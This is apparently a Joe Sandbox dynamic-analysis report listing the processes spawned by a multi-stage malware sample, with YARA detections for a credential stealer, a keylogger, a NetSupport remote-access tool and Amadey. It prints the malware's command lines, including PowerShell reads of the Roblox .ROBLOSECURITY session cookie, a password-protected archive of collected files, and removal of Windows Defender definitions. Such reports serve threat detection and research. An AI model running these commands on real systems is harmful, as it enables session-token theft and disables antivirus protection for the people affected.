Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FO LIST
Imagebase:	0x7ff6d7870000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	76
Start time:	16:10:54
Start date:	19/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tree /A /F"
Imagebase:	0x7ff650120000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	77
Start time:	16:10:54
Start date:	19/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	78
Start time:	16:10:54
Start date:	19/12/2024
Path:	C:\Windows\System32\tree.com
Wow64 process (32bit):	false
Commandline:	tree /A /F
Imagebase:	0x7ff6c98f0000
File size:	20'992 bytes
MD5 hash:	9EB969EF56718A6243BF60350CD065F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	79
Start time:	16:10:55
Start date:	19/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tree /A /F"
Imagebase:	0x7ff650120000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	80
Start time:	16:10:55
Start date:	19/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	81
Start time:	16:10:55
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1017871001\m9sfEU9.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1017871001\m9sfEU9.exe"
Imagebase:	0x130000
File size:	2'138'232 bytes
MD5 hash:	E5F8753995C0B30B827AA2B17F3E1D22
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000051.00000003.2634727930.0000000003045000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000051.00000003.2634727930.0000000003045000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 53%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	82
Start time:	16:10:55
Start date:	19/12/2024
Path:	C:\Windows\System32\tree.com
Wow64 process (32bit):	false
Commandline:	tree /A /F
Imagebase:	0x7ff6c98f0000
File size:	20'992 bytes
MD5 hash:	9EB969EF56718A6243BF60350CD065F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	83
Start time:	16:10:56
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1017855001\8ZVMneG.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\1017855001\8ZVMneG.exe"
Imagebase:	0x5f0000
File size:	810'496 bytes
MD5 hash:	E8AF4D0D0B47AC68D762B7F288AE8E6E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	84
Start time:	16:10:56
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1017855001\8ZVMneG.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1017855001\8ZVMneG.exe"
Imagebase:	0x5f0000
File size:	810'496 bytes
MD5 hash:	E8AF4D0D0B47AC68D762B7F288AE8E6E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000054.00000003.2941270961.0000000001355000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000054.00000003.2940333141.0000000001302000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000054.00000003.2942245341.000000000135B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000054.00000003.2941333004.0000000001302000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	85
Start time:	16:10:57
Start date:	19/12/2024
Path:	C:\Users\Public\Netstat\FuturreApp.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\Public\Netstat\FuturreApp.exe"
Imagebase:	0x920000
File size:	105'848 bytes
MD5 hash:	8D9709FF7D9C83BD376E01912C734F0A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000055.00000000.2642607921.0000000000922000.00000002.00000001.01000000.00000022.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000055.00000002.7288711538.000000006BD70000.00000002.00000001.01000000.00000027.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000055.00000002.7287032107.00000000111E1000.00000004.00000001.01000000.00000023.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000055.00000002.7286857048.0000000011193000.00000002.00000001.01000000.00000023.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000055.00000002.7286857048.0000000011193000.00000002.00000001.01000000.00000023.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000055.00000002.7276259050.0000000000922000.00000002.00000001.01000000.00000022.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\Users\Public\Netstat\FuturreApp.exe, Author: Joe Security
Antivirus matches:	Detection: 29%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	86
Start time:	16:10:58
Start date:	19/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
Imagebase:	0x7ff650120000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	87
Start time:	16:10:58
Start date:	19/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	88
Start time:	16:10:58
Start date:	19/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	89
Start time:	16:11:00
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x690000
File size:	3'037'184 bytes
MD5 hash:	CD7686B11754D77B8722880A1A3A9A43
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000059.00000002.2787455438.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000059.00000003.2745055454.0000000004CF0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	90
Start time:	16:11:00
Start date:	19/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
Imagebase:	0x7ff650120000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	91
Start time:	16:11:00
Start date:	19/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	92
Start time:	16:11:00
Start date:	19/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	93
Start time:	16:11:02
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1017899001\d0ef52de9f.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1017899001\d0ef52de9f.exe"
Imagebase:	0xbe0000
File size:	776'832 bytes
MD5 hash:	AFD936E441BF5CBDB858E96833CC6ED3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 68%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	94
Start time:	16:11:02
Start date:	19/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	95
Start time:	16:11:08
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1017899001\d0ef52de9f.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1017899001\d0ef52de9f.exe"
Imagebase:	0xbe0000
File size:	776'832 bytes
MD5 hash:	AFD936E441BF5CBDB858E96833CC6ED3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000005F.00000003.2934600615.0000000001328000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000005F.00000003.2934892594.00000000012D9000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000005F.00000003.2960705475.00000000012D9000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	96
Start time:	16:11:10
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe"
Imagebase:	0xa00000
File size:	1'885'696 bytes
MD5 hash:	25FB9C54265BBACC7A055174479F0B70
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 75%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	97
Start time:	16:11:13
Start date:	19/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "C:\Users\user\AppData\Local\Temp\_MEI51602\rar.exe a -r -hp"yeezy222" "C:\Users\user\AppData\Local\Temp\vLqBW.zip" *"
Imagebase:	0x7ff650120000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	98
Start time:	16:11:13
Start date:	19/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6a5670000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	99
Start time:	16:11:13
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Local\Temp\_MEI51602\rar.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Local\Temp\_MEI51602\rar.exe a -r -hp"yeezy222" "C:\Users\user\AppData\Local\Temp\vLqBW.zip" *
Imagebase:	0x7ff62b130000
File size:	630'736 bytes
MD5 hash:	9C223575AE5B9544BC3D69AC6364F75E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	100
Start time:	16:11:16
Start date:	19/12/2024
Path:	C:\Program Files\Windows Defender\MpCmdRun.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
Imagebase:	0x7ff781f50000
File size:	468'120 bytes
MD5 hash:	B3676839B2EE96983F9ED735CD044159
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	101
Start time:	16:11:17
Start date:	19/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "wmic os get Caption"
Imagebase:	0x7ff650120000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	102
Start time:	16:11:17
Start date:	19/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	103
Start time:	16:11:17
Start date:	19/12/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic os get Caption
Imagebase:	0x7ff681f80000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	109
Start time:	16:11:19
Start date:	19/12/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	4.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	29.6%
Total number of Nodes:	724
Total number of Limit Nodes:	23

Executed Functions

Function 00265C83 Relevance: 26.0, APIs: 3, Strings: 11, Instructions: 1535
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNEL32(?,?,00000000,00000001,c13L,4C333163), ref: 00265DCC
RegQueryValueExA.KERNEL32(c13L,?,00000000,00000000,?,00000400,?,?,00000000,00000001,c13L,4C333163), ref: 00265DFA
RegCloseKey.KERNEL32(c13L,?,?,00000000,00000001,c13L,4C333163), ref: 00265E06

Strings

00000423, xrefs: 002660FA
00000419, xrefs: 00266098
c13L, xrefs: 00265DB8, 00265E00, 00265DC5
c13L, xrefs: 00265DF4, 00265EE0
c13L, xrefs: 00265D67, 00265EE6, 0026603B, 002665F7, 00266978, 00266D86, 00266F04
00000422, xrefs: 002660C9
Keyboard Layout\Preload, xrefs: 00266054
stoi argument out of range, xrefs: 00267081
VUUU, xrefs: 00266F41
0000043f, xrefs: 0026612B
invalid stoi argument, xrefs: 00267090

Memory Dump Source

Source File: 00000000.00000002.2246085921.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.2246049309.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246085921.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246156943.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246171958.00000000002CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246187307.00000000002D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246280736.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246296195.0000000000433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246315142.000000000044C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246329526.000000000044E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246342884.000000000044F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246342884.0000000000459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246375725.000000000045D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246391924.000000000045E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246407529.0000000000461000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246420883.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246435523.000000000046B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246450285.0000000000472000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246467590.0000000000484000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246481169.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246496664.0000000000486000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246521083.0000000000487000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246574589.0000000000493000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246670011.000000000049D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246687981.00000000004B9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246700751.00000000004C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246717295.00000000004CF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246740921.00000000004D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246758025.00000000004D3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246777646.00000000004D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246800494.00000000004DE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246817975.00000000004DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246830145.00000000004E0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246844988.00000000004E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246856860.00000000004EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246868633.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246879270.00000000004F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246889724.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246904342.00000000004F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247007513.00000000004FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247050358.0000000000512000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247336648.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248037647.000000000051D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248131120.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248131120.000000000053B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249336954.0000000000569000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249401509.000000000056A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249671405.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250058723.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250098533.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250134047.0000000000580000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: CloseOpenQueryValue
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload$VUUU$c13L$c13L$c13L$invalid stoi argument$stoi argument out of range
API String ID: 3677997916-3570576523
Opcode ID: 90d5a8902eb93a936b1588c38eb5957eeb8fcb017875500416698c098b383ed9
Instruction ID: 87e6b818d1e5619962e4f3254a2691660af9560eacfe081202478a57da9767a5
Opcode Fuzzy Hash: 90d5a8902eb93a936b1588c38eb5957eeb8fcb017875500416698c098b383ed9
Instruction Fuzzy Hash: A9C20571A202189BDF28DF68CC89BDDB779EF45304F508299E409A72C1DB759AE4CF90

Function 0026735A Relevance: 6.3, APIs: 1, Strings: 2, Instructions: 1031COMMON

Download Yara Rule

Strings

c13L, xrefs: 002677E9
c13L, xrefs: 00267444, 002675A2, 002677C4, 002679A4, 00267AF4, 00267D5B, 002683AB

Memory Dump Source

Source File: 00000000.00000002.2246085921.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.2246049309.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246085921.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246156943.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246171958.00000000002CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246187307.00000000002D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246280736.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246296195.0000000000433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246315142.000000000044C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246329526.000000000044E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246342884.000000000044F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246342884.0000000000459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246375725.000000000045D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246391924.000000000045E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246407529.0000000000461000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246420883.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246435523.000000000046B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246450285.0000000000472000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246467590.0000000000484000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246481169.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246496664.0000000000486000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246521083.0000000000487000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246574589.0000000000493000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246670011.000000000049D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246687981.00000000004B9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246700751.00000000004C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246717295.00000000004CF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246740921.00000000004D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246758025.00000000004D3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246777646.00000000004D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246800494.00000000004DE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246817975.00000000004DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246830145.00000000004E0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246844988.00000000004E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246856860.00000000004EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246868633.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246879270.00000000004F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246889724.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246904342.00000000004F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247007513.00000000004FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247050358.0000000000512000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247336648.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248037647.000000000051D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248131120.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248131120.000000000053B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249336954.0000000000569000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249401509.000000000056A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249671405.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250058723.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250098533.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250134047.0000000000580000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

